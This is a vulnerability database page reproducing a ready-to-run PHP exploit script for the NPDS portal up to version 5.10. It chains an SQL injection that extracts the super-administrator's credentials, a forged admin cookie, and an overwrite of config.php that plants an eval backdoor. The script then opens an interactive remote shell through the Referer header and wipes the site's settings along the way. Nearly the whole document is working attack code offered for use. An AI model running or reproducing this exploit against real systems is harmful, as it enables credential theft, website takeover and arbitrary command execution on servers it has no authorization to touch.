Lucene search
K

Net Portal Dynamic System (NPDS) <= 5.10 Remote Code Execution

🗓️ 19 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 35 Views

Net Portal Dynamic System (NPDS) <= 5.10 Remote Code Execution advisory and usag

Code

                                                #!/usr/bin/php
&lt;?php
error_reporting(E_ALL&nbsp;^&nbsp;E_NOTICE);

#&nbsp;Advisory&nbsp;soon
if($argc&nbsp;&lt;&nbsp;3)
{
print(&quot;
&nbsp;&nbsp;TITLE&nbsp;|&nbsp;Net&nbsp;Portal&nbsp;Dynamic&nbsp;System&nbsp;(NPDS)&nbsp;&lt;=&nbsp;5.10&nbsp;Remote&nbsp;Code&nbsp;Execution&nbsp;0day
&nbsp;AUTHOR&nbsp;|&nbsp;DarkFig&nbsp;\/&nbsp;http://www.acid-root.new.fr&nbsp;\/&nbsp;[email protected]
&nbsp;&nbsp;&nbsp;NOTE&nbsp;|&nbsp;Works&nbsp;regardless&nbsp;of&nbsp;php&nbsp;settings
&nbsp;&nbsp;USAGE&nbsp;|&nbsp;$argv[0]&nbsp;-url&nbsp;&lt;url&gt;&nbsp;[Options]
OPTIONS&nbsp;|&nbsp;-proxy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;you&nbsp;wanna&nbsp;use&nbsp;a&nbsp;proxy&nbsp;&lt;proxyhost:proxyport&gt;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;-proxyauth&nbsp;Basic&nbsp;authentification&nbsp;&lt;proxyuser:proxypwd&gt;
&quot;);exit(1);
}

$url&nbsp;=&nbsp;getparam('url',1);
$pro&nbsp;=&nbsp;getparam('proxy');
$pra&nbsp;=&nbsp;getparam('proyauth');

$xpl&nbsp;=&nbsp;new&nbsp;phpsploit();
$xpl-&gt;agent('Mozilla&nbsp;Firefox');
if($pro)&nbsp;$xpl-&gt;proxy($pro);
if($pra)&nbsp;$xpl-&gt;proxyauth($pra);


#&nbsp;+print.php&nbsp;(SQL&nbsp;INJECTION)
#&nbsp;|
#&nbsp;124.&nbsp;}&nbsp;elseif&nbsp;(!empty($lid))&nbsp;{
#&nbsp;125.&nbsp;&nbsp;settype&nbsp;($lid,&nbsp;&quot;integer&quot;);
#&nbsp;126.&nbsp;&nbsp;PrintPage(&quot;links&quot;,$DB,&nbsp;$lid);
#&nbsp;
#&nbsp;30.&nbsp;&nbsp;if&nbsp;($oper==&quot;links&quot;)&nbsp;{
#&nbsp;31.&nbsp;&nbsp;$result=mysql_query(&quot;select&nbsp;url,&nbsp;title,&nbsp;description,&nbsp;date&nbsp;from&nbsp;&quot;.$DB.&quot;links_links&nbsp;where&nbsp;lid='$sid'&quot;);
#&nbsp;32.&nbsp;&nbsp;list($url,&nbsp;$title,&nbsp;$description,&nbsp;$time)=mysql_fetch_row($result);
#&nbsp;40.&nbsp;&nbsp;if&nbsp;($DB)&nbsp;{
#&nbsp;41.&nbsp;&nbsp;$remp=meta_lang(aff_code(aff_langue(ob_get_contents())));
#
$aid&nbsp;=&nbsp;'CONCAT(CHAR(66,69,71,73,78,85,83,82),(SELECT%20aid%20FROM%20authors%20WHERE%20radminsuper=1),CHAR(69,78,68,85,83,82))';
$pwd&nbsp;=&nbsp;'CONCAT(CHAR(66,69,71,73,78,80,87,68),(SELECT%20pwd%20FROM%20authors%20WHERE%20radminsuper=1),CHAR(69,78,68,80,87,68))';


#&nbsp;+grab_globals.php&nbsp;(VARS&nbsp;OVERWRITE&nbsp;/&nbsp;&quot;url_protect&quot;&nbsp;FILTER&nbsp;EVASION)
#&nbsp;|
#&nbsp;78.&nbsp;&nbsp;if&nbsp;(!empty($_GET))&nbsp;{
#&nbsp;79.&nbsp;&nbsp;if&nbsp;(!$magicquotesGPC)
#&nbsp;80.&nbsp;&nbsp;array_walk($_GET,'addslashes_GPC');
#&nbsp;81.&nbsp;&nbsp;reset($_GET);
#&nbsp;82.&nbsp;&nbsp;array_walk($_GET,'url_protect');
#&nbsp;83.&nbsp;&nbsp;extract($_GET,&nbsp;EXTR_OVERWRITE);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;106.&nbsp;if&nbsp;(!empty($_COOKIE))&nbsp;{
#&nbsp;107.&nbsp;if&nbsp;(!$magicquotesGPC)
#&nbsp;108.&nbsp;array_walk($_COOKIE,'addslashes_GPC');
#&nbsp;109.&nbsp;reset($_COOKIE);
#&nbsp;110.&nbsp;array_walk($_COOKIE,'url_protect');
#&nbsp;111.&nbsp;extract($_COOKIE,&nbsp;EXTR_OVERWRITE);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;132.&nbsp;if&nbsp;(!empty($_FILES))&nbsp;{
#&nbsp;133.&nbsp;while&nbsp;(list($key,$value)=each($_FILES))&nbsp;{
#&nbsp;134.&nbsp;$$key=$value['tmp_name'];
#&nbsp;135.&nbsp;}
#
$xpl-&gt;get($url.&quot;print.php?_FILES[DB][tmp_name]=links_links%20union%20select%20-1,$aid,$pwd,1%20ORDER%20BY%20url%23&amp;lid=1&quot;);

if&nbsp;(preg_match(&quot;#BEGINUSR(.*)ENDUSR#&quot;,$xpl-&gt;getcontent(),$aid)
AND&nbsp;preg_match(&quot;#BEGINPWD(.*)ENDPWD#&quot;,$xpl-&gt;getcontent(),$pwd))
print&nbsp;&quot;\nAdmin_aid:&nbsp;$aid[1]\nAdmin_pwd:&nbsp;$pwd[1]&quot;;
else&nbsp;die(&quot;Exploit&nbsp;failed&quot;);

#&nbsp;+auth.inc.php&nbsp;(ADMIN&nbsp;AUTH)
#&nbsp;|
#&nbsp;59.&nbsp;if&nbsp;($admin!=&quot;&quot;)&nbsp;{
#&nbsp;60.&nbsp;&nbsp;$Xadmin&nbsp;=&nbsp;base64_decode($admin);
#&nbsp;61.&nbsp;&nbsp;$Xadmin&nbsp;=&nbsp;explode(&quot;:&quot;,&nbsp;$Xadmin);
#&nbsp;62.&nbsp;&nbsp;$aid&nbsp;=&nbsp;urlencode($Xadmin[0]);
#&nbsp;63.&nbsp;&nbsp;$AIpwd&nbsp;=&nbsp;$Xadmin[1];
#&nbsp;64.&nbsp;&nbsp;if&nbsp;($aid==&quot;&quot;&nbsp;or&nbsp;$AIpwd==&quot;&quot;)&nbsp;{
#&nbsp;65.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Admin_Alert(&quot;Null&nbsp;Aid&nbsp;or&nbsp;Passwd&quot;);
#&nbsp;66.&nbsp;&nbsp;}
#&nbsp;67.&nbsp;$result=mysql_query(&quot;select&nbsp;pwd,&nbsp;radminsuper&nbsp;from&nbsp;authors&nbsp;where&nbsp;aid='$aid'&quot;);
#&nbsp;68.&nbsp;if&nbsp;(!$result)&nbsp;{
#&nbsp;69.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Admin_Alert(&quot;DB&nbsp;not&nbsp;ready&nbsp;#2&nbsp;:&nbsp;$aid&nbsp;/&nbsp;$AIpwd&nbsp;|&nbsp;&quot;);
#&nbsp;70.&nbsp;&nbsp;}&nbsp;else&nbsp;{
#&nbsp;71.&nbsp;&nbsp;&nbsp;&nbsp;list($AIpass,&nbsp;$Xsuper_admintest)=mysql_fetch_row($result);
#&nbsp;72.&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(md5($AIpass)&nbsp;==&nbsp;$AIpwd&nbsp;and&nbsp;$AIpass&nbsp;!=&nbsp;&quot;&quot;)&nbsp;{
#&nbsp;73.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$admintest&nbsp;=&nbsp;true;
#&nbsp;74.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$super_admintest&nbsp;=&nbsp;$Xsuper_admintest;
#&nbsp;75.&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
#&nbsp;76.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Admin_Alert(&quot;Password&nbsp;in&nbsp;Cookies&nbsp;not&nbsp;Good&nbsp;#1&nbsp;:&nbsp;$aid&nbsp;/&nbsp;$AIpwd&nbsp;|&nbsp;&quot;);
#&nbsp;77.&nbsp;&nbsp;&nbsp;&nbsp;}
#&nbsp;78.&nbsp;&nbsp;}
#&nbsp;79.&nbsp;&nbsp;unset&nbsp;($AIpass);
#&nbsp;80.&nbsp;&nbsp;unset&nbsp;($AIpwd);
#&nbsp;81.&nbsp;&nbsp;unset&nbsp;($Xadmin);
#&nbsp;82.&nbsp;&nbsp;unset&nbsp;($Xsuper_admintest);
#&nbsp;83.&nbsp;}
#
$cok&nbsp;=&nbsp;urlencode(base64_encode($aid[1].':'.md5($pwd[1])));
$xpl-&gt;addcookie('admin',$cok);
print&nbsp;&quot;\nAdmin_cookie:&nbsp;admin=$cok\n\$shell&gt;&nbsp;&quot;;


#&nbsp;+admin/settings.php&nbsp;(CODE&nbsp;EXECUTION)
#&nbsp;|
#&nbsp;758.&nbsp;switch($op)&nbsp;{
#&nbsp;763.&nbsp;case&nbsp;&quot;ConfigSave&quot;:
#&nbsp;764.&nbsp;include(&quot;admin/settings_save.php&quot;);
#&nbsp;765.&nbsp;ConfigSave($xparse,$xsitename,$xnuke_url,$xsite_logo,$xslogan,$xstartdate,$xadminmail,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xtop,$xstoryhome,$xoldnum,$xultramode,$xanonpost,$xDefault_Theme,$xbanners,$xmyIP,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xfoot1,$xfoot2,$xfoot3,$xfoot4,$xbackend_title,$xbackend_language,$xbackend_image,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xbackend_width,$xbackend_height,$xlanguage,$xlocale,$xperpage,$xpopular,$xnewlinks,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xtoplinks,$xlinksresults,$xlinks_anonaddlinklock,$xnotify,$xnotify_email,$xnotify_subject,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xnotify_message,$xnotify_from,$xmoderate,$xcommentlimit,$xanonymous,$xmaxOptions,$xBarScale,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xsetCookies,$xtipath,$xuserimg,$xadminimg,$xadmingraphic,$xsite_font,$xadmart,$xminpass,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xhttpref,$xhttprefmax,$xpollcomm,$xlinkmainlogo,$xstart_page,$xsmilies,$xOnCatNewLink,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xEmailFooter,$xshort_user,$xgzhandler,$xrss_host_verif,$xcache_verif,$xmember_list,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xdownload_cat,$xmod_admin_news,$xgmt,$xAutoRegUser,$xTitlesitename,$xfilemanager,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xshort_review,$xnot_admin_count,$xadmin_cook_duration,$xuser_cook_duration,$xtroll_limit,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xsubscribe,$xCloseRegUser,$xshort_menu_admin,$xmail_fonction,$xmemberpass,$xshow_user,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xdns_verif,$xmember_invisible,$xavatar_size,$xlever,$xcoucher,$xmulti_langue,$xadmf_ext,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xsavemysql_size,$xsavemysql_mode,$xtiny_mce);
#&nbsp;766.&nbsp;break;
#&nbsp;767.&nbsp;}
#
#&nbsp;+admin/settings_save.php
#&nbsp;|
#&nbsp;142.&nbsp;function&nbsp;ConfigSave(...
#&nbsp;212.&nbsp;$file&nbsp;=&nbsp;fopen(&quot;config.php&quot;,&quot;w&quot;);
#&nbsp;401.&nbsp;$content&nbsp;.=&nbsp;&quot;\$perpage&nbsp;=&nbsp;$xperpage;\n&quot;;
#&nbsp;402.&nbsp;$content&nbsp;.=&nbsp;&quot;\$popular&nbsp;=&nbsp;$xpopular;\n&quot;;...
#&nbsp;614.&nbsp;fwrite($file,&nbsp;$content);
#&nbsp;615.&nbsp;fclose($file);
#
$PHPCODE&nbsp;=&nbsp;'if(isset($_SERVER[HTTP_REFERER]))&nbsp;eval($_SERVER[HTTP_REFERER])';


#&nbsp;Default&nbsp;config&nbsp;value
#&nbsp;You&nbsp;can&nbsp;get&nbsp;the&nbsp;config&nbsp;here&nbsp;./admin.php?op=Configure
#
$config&nbsp;=&nbsp;array(
frmdt_url&nbsp;=&gt;&nbsp;$url.'admin.php',&quot;xparse&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xgzhandler&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xfilemanager&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xadmin_cook_duration&quot;&nbsp;=&gt;&nbsp;&quot;240&quot;,
&quot;xuser_cook_duration&quot;&nbsp;=&gt;&nbsp;&quot;8000&quot;,&quot;xsitename&quot;&nbsp;=&gt;&nbsp;&quot;NPDS&nbsp;SABLE&quot;,&quot;xTitlesitename&quot;&nbsp;=&gt;&nbsp;&quot;NPDS&nbsp;-&nbsp;g鮩rateur&nbsp;de&nbsp;portail&nbsp;Php&nbsp;/&nbsp;Mysql&nbsp;en&nbsp;Open&nbsp;Source&quot;,
&quot;xnuke_url&quot;&nbsp;=&gt;&nbsp;&quot;http://www.npds.org&quot;,&quot;xsite_logo&quot;&nbsp;=&gt;&nbsp;&quot;themes/Permanent-Double-Side/images/npds_p.gif&quot;,&quot;xslogan&quot;&nbsp;=&gt;&nbsp;&quot;NPDS&nbsp;SABLE&quot;,
&quot;xstartdate&quot;&nbsp;=&gt;&nbsp;&quot;01/10/2005&quot;,&quot;xtop&quot;&nbsp;=&gt;&nbsp;&quot;10;$PHPCODE&quot;,&quot;xstoryhome&quot;&nbsp;=&gt;&nbsp;&quot;10&quot;,&quot;xoldnum&quot;&nbsp;=&gt;&nbsp;&quot;10&quot;,&quot;xultramode&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xanonymous&quot;&nbsp;=&gt;&nbsp;&quot;Anonyme&quot;,
&quot;xanonpost&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xtroll_limit&quot;&nbsp;=&gt;&nbsp;&quot;6&quot;,&quot;xmod_admin_news&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xnot_admin_count&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xDefault_Theme&quot;&nbsp;=&gt;&nbsp;&quot;Permanent-Double-Side&quot;,
&quot;xstart_page&quot;&nbsp;=&gt;&nbsp;&quot;index.php?op=edito&quot;,&quot;xlanguage&quot;&nbsp;=&gt;&nbsp;&quot;french&quot;,&quot;xmulti_langue&quot;&nbsp;=&gt;&nbsp;&quot;false&quot;,&quot;xlocale&quot;&nbsp;=&gt;&nbsp;&quot;french&quot;,&quot;xlever&quot;&nbsp;=&gt;&nbsp;&quot;08:00&quot;,
&quot;xcoucher&quot;&nbsp;=&gt;&nbsp;&quot;20:00&quot;,&quot;xgmt&quot;&nbsp;=&gt;&nbsp;&quot;&quot;,&quot;xbanners&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xmyIP&quot;&nbsp;=&gt;&nbsp;&quot;1.1.1.100&quot;,&quot;xfoot4&quot;&nbsp;=&gt;&nbsp;&quot;&quot;,&quot;xbackend_title&quot;&nbsp;=&gt;&nbsp;&quot;NPDS&quot;,&quot;xbackend_language&quot;&nbsp;=&gt;&nbsp;&quot;fr-FR&quot;,
&quot;xfoot1&quot;&nbsp;=&gt;&nbsp;&quot;Tous&nbsp;les&nbsp;Logos&nbsp;et&nbsp;Marques&nbsp;sont&nbsp;d鰯s鳬&nbsp;les&nbsp;commentaires&nbsp;sont&nbsp;sous&nbsp;la&nbsp;responsabilit頤e&nbsp;ceux&nbsp;qui&nbsp;les&nbsp;ont&nbsp;publi鳬&nbsp;le&nbsp;reste&nbsp;@&nbsp;npds.org&quot;,
&quot;xfoot2&quot;&nbsp;=&gt;&nbsp;&quot;Ce&nbsp;site&nbsp;a&nbsp;鴩&nbsp;construit&nbsp;avec&nbsp;&lt;a&nbsp;href=http://www.npds.org&nbsp;CLASS=NOIR&gt;NPDS&lt;/a&gt;,&nbsp;un&nbsp;syst譥&nbsp;de&nbsp;portail&nbsp;飲it&nbsp;en&nbsp;PHP.&nbsp;Ce&nbsp;logiciel&nbsp;est&nbsp;sous&nbsp;&lt;a&nbsp;href=http://www.gnu.org&nbsp;CLASS=NOIR&gt;GNU/GPL&nbsp;license&lt;/a&gt;.&quot;,
&quot;xfoot3&quot;&nbsp;=&gt;&nbsp;&quot;syndication&nbsp;de&nbsp;vos&nbsp;News&nbsp;via&nbsp;&lt;a&nbsp;href=http://www.votre_site/backend.php&nbsp;CLASS=NOIR&gt;www.votre_site/backend.php&lt;/a&gt;&nbsp;-::-&nbsp;+&nbsp;encore&nbsp;via&nbsp;le&nbsp;NPDS&nbsp;Push&nbsp;Infos&nbsp;System&quot;,
&quot;xbackend_image&quot;&nbsp;=&gt;&nbsp;&quot;&quot;,&quot;xbackend_width&quot;&nbsp;=&gt;&nbsp;&quot;88&quot;,&quot;xbackend_height&quot;&nbsp;=&gt;&nbsp;&quot;31&quot;,&quot;xperpage&quot;&nbsp;=&gt;&nbsp;&quot;10&quot;,&quot;xpopular&quot;&nbsp;=&gt;&nbsp;&quot;10&quot;,&quot;xnewlinks&quot;&nbsp;=&gt;&nbsp;&quot;10&quot;,
&quot;xtoplinks&quot;&nbsp;=&gt;&nbsp;&quot;10&quot;,&quot;xlinksresults&quot;&nbsp;=&gt;&nbsp;&quot;10&quot;,&quot;xlinks_anonaddlinklock&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xlinkmainlogo&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xOnCatNewLink&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,
&quot;xadminmail&quot;&nbsp;=&gt;&nbsp;&quot;&quot;,&quot;xmail_fonction&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xEmailFooter&quot;&nbsp;=&gt;&nbsp;&quot;&quot;,&quot;xnotify&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xnotify_email&quot;&nbsp;=&gt;&nbsp;&quot;[email protected]&quot;,&quot;xnotify_subject&quot;&nbsp;=&gt;&nbsp;&quot;Nouvelle&nbsp;soumission&quot;,
&quot;xnotify_message&quot;&nbsp;=&gt;&nbsp;&quot;Le&nbsp;site&nbsp;a&nbsp;recu&nbsp;une&nbsp;nouvelle&nbsp;soumission&nbsp;!&quot;,&quot;xnotify_from&quot;&nbsp;=&gt;&nbsp;&quot;webmaster&quot;,&quot;xmoderate&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xcommentlimit&quot;&nbsp;=&gt;&nbsp;&quot;4096&quot;,
&quot;xmaxOptions&quot;&nbsp;=&gt;&nbsp;&quot;12&quot;,&quot;xBarScale&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xsetCookies&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xpollcomm&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xtipath&quot;&nbsp;=&gt;&nbsp;&quot;themes/Permanent-Double-Side/images/topics/&quot;,
&quot;xuserimg&quot;&nbsp;=&gt;&nbsp;&quot;/themes/Permanent-Double-Side/images/menu/&quot;,&quot;xadminimg&quot;&nbsp;=&gt;&nbsp;&quot;images/admin/&quot;,&quot;xadmingraphic&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xadmf_ext&quot;&nbsp;=&gt;&nbsp;&quot;gif&quot;,
&quot;xshort_menu_admin&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xsite_font&quot;&nbsp;=&gt;&nbsp;&quot;Verdana,&nbsp;Arial,&nbsp;Helvetica&quot;,&quot;xadmart&quot;&nbsp;=&gt;&nbsp;&quot;10&quot;,&quot;xminpass&quot;&nbsp;=&gt;&nbsp;&quot;5&quot;,&quot;xshow_user&quot;&nbsp;=&gt;&nbsp;&quot;20&quot;,&quot;xsmilies&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,
&quot;xavatar_size&quot;&nbsp;=&gt;&nbsp;&quot;60*80&quot;,&quot;xshort_user&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xAutoRegUser&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xmemberpass&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xsubscribe&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xmember_invisible&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,
&quot;xCloseRegUser&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xhttpref&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,&quot;xhttprefmax&quot;&nbsp;=&gt;&nbsp;&quot;1000&quot;,&quot;xmember_list&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,&quot;xdownload_cat&quot;&nbsp;=&gt;&nbsp;&quot;Tous&quot;,&quot;xshort_review&quot;&nbsp;=&gt;&nbsp;&quot;0&quot;,
&quot;xrss_host_verif&quot;&nbsp;=&gt;&nbsp;&quot;false&quot;,&quot;xcache_verif&quot;&nbsp;=&gt;&nbsp;&quot;true&quot;,&quot;xdns_verif&quot;&nbsp;=&gt;&nbsp;&quot;false&quot;,&quot;xsavemysql_size&quot;&nbsp;=&gt;&nbsp;&quot;256&quot;,&quot;xsavemysql_mode&quot;&nbsp;=&gt;&nbsp;&quot;1&quot;,
&quot;xtiny_mce&quot;&nbsp;=&gt;&nbsp;&quot;true&quot;,&quot;op&quot;&nbsp;=&gt;&nbsp;&quot;ConfigSave&quot;);

#&nbsp;0_o&nbsp;my&nbsp;website&nbsp;has&nbsp;been&nbsp;reset
#
$xpl-&gt;formdata($config);

while(!preg_match(&quot;#^(quit|exit)$#&quot;,($cmd&nbsp;=&nbsp;trim(fgets(STDIN)))))&nbsp;&nbsp;#&nbsp;$cmd&nbsp;-&gt;&nbsp;);print($dbpass);//
{
&nbsp;&nbsp;&nbsp;&nbsp;$xpl-&gt;addheader(&quot;Referer&quot;,&quot;@system($cmd);die;&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;$xpl-&gt;get($url.'config.php');
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;$xpl-&gt;getcontent().&quot;\n\$shell&gt;&nbsp;&quot;;
}

function&nbsp;getparam($param,$opt='')
{
	global&nbsp;$argv;
	foreach($argv&nbsp;as&nbsp;$value&nbsp;=&gt;&nbsp;$key)
	{
		if($key&nbsp;==&nbsp;'-'.$param)&nbsp;return&nbsp;$argv[$value+1];
	}
	if($opt)&nbsp;exit(&quot;\n-$param&nbsp;parameter&nbsp;required&quot;);
	else&nbsp;return;
}

/*
&nbsp;*&nbsp;
&nbsp;*&nbsp;Copyright&nbsp;(C)&nbsp;darkfig
&nbsp;*&nbsp;
&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;free&nbsp;software;&nbsp;you&nbsp;can&nbsp;redistribute&nbsp;it&nbsp;and/or&nbsp;
&nbsp;*&nbsp;modify&nbsp;it&nbsp;under&nbsp;the&nbsp;terms&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;
&nbsp;*&nbsp;as&nbsp;published&nbsp;by&nbsp;the&nbsp;Free&nbsp;Software&nbsp;Foundation;&nbsp;either&nbsp;version&nbsp;2&nbsp;
&nbsp;*&nbsp;of&nbsp;the&nbsp;License,&nbsp;or&nbsp;(at&nbsp;your&nbsp;option)&nbsp;any&nbsp;later&nbsp;version.&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;distributed&nbsp;in&nbsp;the&nbsp;hope&nbsp;that&nbsp;it&nbsp;will&nbsp;be&nbsp;useful,&nbsp;
&nbsp;*&nbsp;but&nbsp;WITHOUT&nbsp;ANY&nbsp;WARRANTY;&nbsp;without&nbsp;even&nbsp;the&nbsp;implied&nbsp;warranty&nbsp;of&nbsp;
&nbsp;*&nbsp;MERCHANTABILITY&nbsp;or&nbsp;FITNESS&nbsp;FOR&nbsp;A&nbsp;PARTICULAR&nbsp;PURPOSE.&nbsp;&nbsp;See&nbsp;the&nbsp;
&nbsp;*&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;for&nbsp;more&nbsp;details.&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;You&nbsp;should&nbsp;have&nbsp;received&nbsp;a&nbsp;copy&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;
&nbsp;*&nbsp;along&nbsp;with&nbsp;this&nbsp;program;&nbsp;if&nbsp;not,&nbsp;write&nbsp;to&nbsp;the&nbsp;Free&nbsp;Software&nbsp;
&nbsp;*&nbsp;Foundation,&nbsp;Inc.,&nbsp;59&nbsp;Temple&nbsp;Place&nbsp;-&nbsp;Suite&nbsp;330,&nbsp;Boston,&nbsp;MA&nbsp;&nbsp;02111-1307,&nbsp;USA.
&nbsp;*&nbsp;
&nbsp;*&nbsp;TITLE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PhpSploit&nbsp;Class
&nbsp;*&nbsp;REQUIREMENTS:&nbsp;&nbsp;&nbsp;PHP&nbsp;5&nbsp;(remove&nbsp;&quot;private&quot;,&nbsp;&quot;public&quot;&nbsp;if&nbsp;you&nbsp;have&nbsp;PHP&nbsp;4)
&nbsp;*&nbsp;VERSION:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.2
&nbsp;*&nbsp;LICENSE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License
&nbsp;*&nbsp;ORIGINAL&nbsp;URL:&nbsp;&nbsp;&nbsp;http://www.acid-root.new.fr/tools/03061230.txt
&nbsp;*&nbsp;FILENAME:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;phpsploitclass.php
&nbsp;*
&nbsp;*&nbsp;CONTACT:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]&nbsp;(french&nbsp;/&nbsp;english)
&nbsp;*&nbsp;GREETZ:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sparah,&nbsp;Ddx39
&nbsp;*
&nbsp;*&nbsp;DESCRIPTION:
&nbsp;*&nbsp;The&nbsp;phpsploit&nbsp;is&nbsp;a&nbsp;class&nbsp;implementing&nbsp;a&nbsp;web&nbsp;user&nbsp;agent.
&nbsp;*&nbsp;You&nbsp;can&nbsp;add&nbsp;cookies,&nbsp;headers,&nbsp;use&nbsp;a&nbsp;proxy&nbsp;server&nbsp;with&nbsp;(or&nbsp;without)&nbsp;a
&nbsp;*&nbsp;basic&nbsp;authentification.&nbsp;It&nbsp;supports&nbsp;the&nbsp;GET&nbsp;and&nbsp;the&nbsp;POST&nbsp;method.&nbsp;It&nbsp;can
&nbsp;*&nbsp;also&nbsp;be&nbsp;used&nbsp;like&nbsp;a&nbsp;browser&nbsp;with&nbsp;the&nbsp;cookiejar()&nbsp;function&nbsp;(which&nbsp;allow
&nbsp;*&nbsp;a&nbsp;server&nbsp;to&nbsp;add&nbsp;several&nbsp;cookies&nbsp;for&nbsp;the&nbsp;next&nbsp;requests)&nbsp;and&nbsp;the
&nbsp;*&nbsp;allowredirection()&nbsp;function&nbsp;(which&nbsp;allow&nbsp;the&nbsp;script&nbsp;to&nbsp;follow&nbsp;all
&nbsp;*&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server).&nbsp;It&nbsp;can&nbsp;return&nbsp;the&nbsp;content&nbsp;(or&nbsp;the
&nbsp;*&nbsp;headers)&nbsp;of&nbsp;the&nbsp;request.&nbsp;Others&nbsp;useful&nbsp;functions&nbsp;can&nbsp;be&nbsp;used&nbsp;for&nbsp;debugging.
&nbsp;*&nbsp;A&nbsp;manual&nbsp;is&nbsp;actually&nbsp;in&nbsp;development&nbsp;but&nbsp;to&nbsp;know&nbsp;how&nbsp;to&nbsp;use&nbsp;it,&nbsp;you&nbsp;can
&nbsp;*&nbsp;read&nbsp;the&nbsp;comments.
&nbsp;*
&nbsp;*&nbsp;CHANGELOG:
&nbsp;*&nbsp;[2007-01-24]&nbsp;(1.2)
&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#2&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;getcookie()&nbsp;function&nbsp;((|;))
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;multipart/form-data&nbsp;enctype&nbsp;is&nbsp;now&nbsp;supported&nbsp;
&nbsp;*
&nbsp;*&nbsp;[2006-12-31]&nbsp;(1.1)
&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#1&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;allowredirection()&nbsp;function&nbsp;(chr(13)&nbsp;bug)
